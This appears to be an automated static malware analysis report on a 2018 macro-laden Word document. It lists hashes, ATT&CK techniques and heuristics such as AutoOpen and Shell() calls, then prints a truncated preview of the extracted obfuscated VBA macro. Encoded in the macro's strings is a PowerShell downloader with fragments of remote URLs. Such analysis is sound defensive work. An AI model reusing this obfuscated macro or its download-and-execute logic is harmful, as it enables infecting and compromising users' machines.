Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 bcd849b547bb2317…

MALICIOUS

Office (OLE)

127.0 KB Created: 2018-02-16 15:35:00 Authoring application: Microsoft Office Word First seen: 2018-02-19
MD5: bf9803107dbc2ee3708218b66705de9a SHA-1: c16e8dcb5118714608d291c2a7aa80ca19db39a9 SHA-256: bcd849b547bb23175866fae1dacbbb10749f9e436e02bb73094bda31cb11e19e
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. The presence of AutoOpen, Shell() calls, and p-code execution strongly indicates that the macros are designed to run automatically upon opening the document. The script appears to be obfuscated, but its intent is likely to download and execute a second-stage payload. No specific family could be identified.

Heuristics 6

  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 27067 bytes
SHA-256: 194499383e14c4b3c94bca54abdec7694cf006c834b1b70e6773fe5720cd3733
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "oiLzYpNSzvv"
Function HiErZtOzlSK()
On Error Resume Next
Utwpfpf = 2707257 / CLng(OdsRjj) - 419145 * Cos(8448366) + ItOhjEw + 4206164
qCbaw = 3369886 / CLng(ikJLaZds) - 2582545 * Cos(8540593) + JYzDl + 1419755
WlqiwKR = 9483138 / CLng(TJtCkPY) - 6898410 * Cos(76910) + SFucR + 6871388
hJjwiVXzO = (vuzXSwioWBQuh) + HJjkJKD("zaVKhLtwwzKDwij'+'m2OadFJ1R+J1RIi6R+i6Rfi6J1R+J1RR+i6J1R+J1RRm2i6J1R+J1'+'RR+i6'+'R'+'leeoi6R'+'+i6RWi6R+J1R+J1RiXLe+DdUGOvD", 16, 102)
TNfqRP = 7913339 / CLng(nvmHjGQjjq) - 5952137 * Cos(3999689) + VEDaQDV + 4258608
EKUwEp = 1055524 / CLng(GmiLwpfVQ) - 675328 * Cos(5606115) + tMDSP + 9673022
hisAa = 9608614 / CLng(GTnkkjiw) - 6124616 * Cos(9661651) + GiajUCuR + 8241360
mwfaSH = (VOiwwwIwGkhZwB) + HJjkJKD("pRLvlmowhvXzOcAHDRjSAdHSwUnwTdiIBjC);breai6R+i6Rk;}'+'ci6R+i6Ratch{}i6R+i6R}i6R).rePlace(([cHAR]54+[cHAR]109+XLADzJ", 35, 77)
ZkMYM = 7508253 / CLng(taSKjpSjWRTjiQ) - 3944797 * Cos(6369036) + QlFWAQ + 3987685
rmrzoQGihnl = 7729798 / CLng(hKwivLtWIT) - 9684286 * Cos(6161280) + fvhNCsJo + 6570761
szRZiTnzjK = 3790991 / CLng(RWchcsKwWEHIn) - 7715217 * Cos(4375620) + nMHAib + 9298238
LWFhUQd = (qWwoXYnO) + HJjkJKD("kslUTMjjbMUuiEDaIbktEl'+'6mi6R+i6RJ1R+'+'J1RQi6R+i6Rn6'+'mQ+6i6R+i6RmJJE", 23, 48)
tQdKNIzFla = 4675349 / CLng(uZfkWcaSHpZW) - 4515578 * Cos(7591467) + zVsRIS + 6349181
HYFMG = 4377501 / CLng(YbSrriRjhWuNhs) - 1490164 * Cos(2083818) + XzbzMoGKM + 5938590
wkcOjT = 3280486 / CLng(QUNCiMuKjbYYto) - 113837 * Cos(8578529) + PdkGjuhvwLnLh + 6065122
FFMQRiaHvac = (zqGRYjLtPJAJP) + HJjkJKD("PSWDjiXUijsOPzNrdwiVLji6RJ1R+J1R+i6RLVzFkkriWUOwXSPNJ", 23, 14)
wjvIzklTz = 1089813 / CLng(nNRwBjrjZ) - 5974328 * Cos(1416878) + BHwBvVXLXwK + 6438554
TOqWzNf = 3122539 / CLng(XFuwHstnAwPjBU) - 8183475 * Cos(7055440) + CDPiFCnAFf + 8928354
pIRPJa = 133972 / CLng(CkjEIlmaXOqN) - 1335398 * Cos(9976658) + MTDUmWHiASRD + 1263467
jKiaBTCH = (zfNApvaD) + HJjkJKD("wZKUScJIlDi6R+i6'+'RCi6R+i6RX){i6R+i6Rtri6R+i6Ry{36ZYJ1R+J1RYU.i6R+i6ReoWDofm2WnlfoIMcpRQfZqkiNrfAWlUQcwfjvhchu", 10, 73)
SaKuIcNvt = 6123629 / CLng(rijcUBrbvEHJ) - 4134544 * Cos(8524662) + oVcpaBSA + 1060758
fSwEGHuSJ = 2225559 / CLng(lYYsAYXM) - 3846742 * Cos(4323596) + ZKmhqDwt + 5653878
aiZvi = 3128240 / CLng(JZzSQEkYhaQ) - 721326 * Cos(3147657) + CDEimJYt + 4400907
wQiaUo = (ZRzCBnlbZOSvG) + HJjkJKD("zGDODtvm1R+J1RQe6mi6R+i6RQ+6mQw-oi6R+i6RbJ1R+J1Rji6R+i6J1R+J1RReci6R+i6R6i6R+i6RmQ+XLe+XLe6mQt6i6R+i6Rmi6R+i6RQi6J1R+J1RR+i'+'6RJ1R+J1R) randoi6R+i6RnP", 9, 141)
iHTkVEijUN = 2800321 / CLng(ztLqGLQCAANL) - 4707174 * Cos(1797350) + OiDOEDHWaUh + 5582015
tVIUGjBqj = 912120 / CLng(nKjiYPIArtr) - 9675900 * Cos(9370712) + huGDlJcaDHKks + 4411465
alObppiwP = 7021688 / CLng(ZhLWMpjjA) - 8840834 * Cos(4394294) + qJXFGNp + 6136611
RwpSuJ = (ScvorIHW) + HJjkJKD("NPZkSsiv+'+i6R 36Zi6R+i6RSiXLe+XLe6RXLe+XLe+i6RDJ1R+J1Ri6R+i6RCXLe+XLe)XLe+XLe;&(JNXSDjsISF", 9, 74)
KNaQcC = 8289994 / CLng(aDrmOju) - 7093035 * Cos(913226) + fhEHwqQTzj + 1460068
ScIfHt = 2351500 / CLng(WlzUpNT) - 6268048 * Cos(6036046) + RnazJpiMoPKsEL + 2725983
rPjJk = 4496344 / CLng(WGiIGNqV) - 209666 * Cos(3193325) + EWlzzim + 3806049
hDJwFZOKjP = (nXlQVTJmZh) + HJjkJKD("YuEbhOYNntckJECDitaLeAR]87),[stRInG]['+'cHXLe+XLeJ1R+J1RAR]34) u4d & ( JwxshElLId[1]+JwxSHeLLId'+tcmkzTtXdDwFzwz", 20, 78)
sltEsiUr = 1618742 / CLng(PHRiNsVYu) - 207658 * Cos(5085008) + cNlmRnqU + 5875073
EwhzP = 1542302 / CLng(boXCsbtmNwFF) - 2927456 * Cos(458913) + pmKNMRVh + 9567924
fFCJEjrijH = 6722082 / CLng(YIvnn) - 8822870 * Cos(1477520) + ppppdzAO + 2412229
jjDwwq = (mGSvzawqLajd) + HJjkJKD("RzMjiBfdCBpOWq+J1XLe+XLe'+'Ri6Rbi6R+i6RF/?htti6R+i6RpXLe+XLe://38i6R+i6R'+'pol.i'+'6R+i6Rri6R+i6R'+'u/i6R+i6R37wTrAY/?htt'+'XLe+XLep:/i6R+i6R/J1R+J1Ri6R'+'+i6Rtrans-imi6RMENSGSY", 15, 156)
sscXCT = 8285831 
... (truncated)

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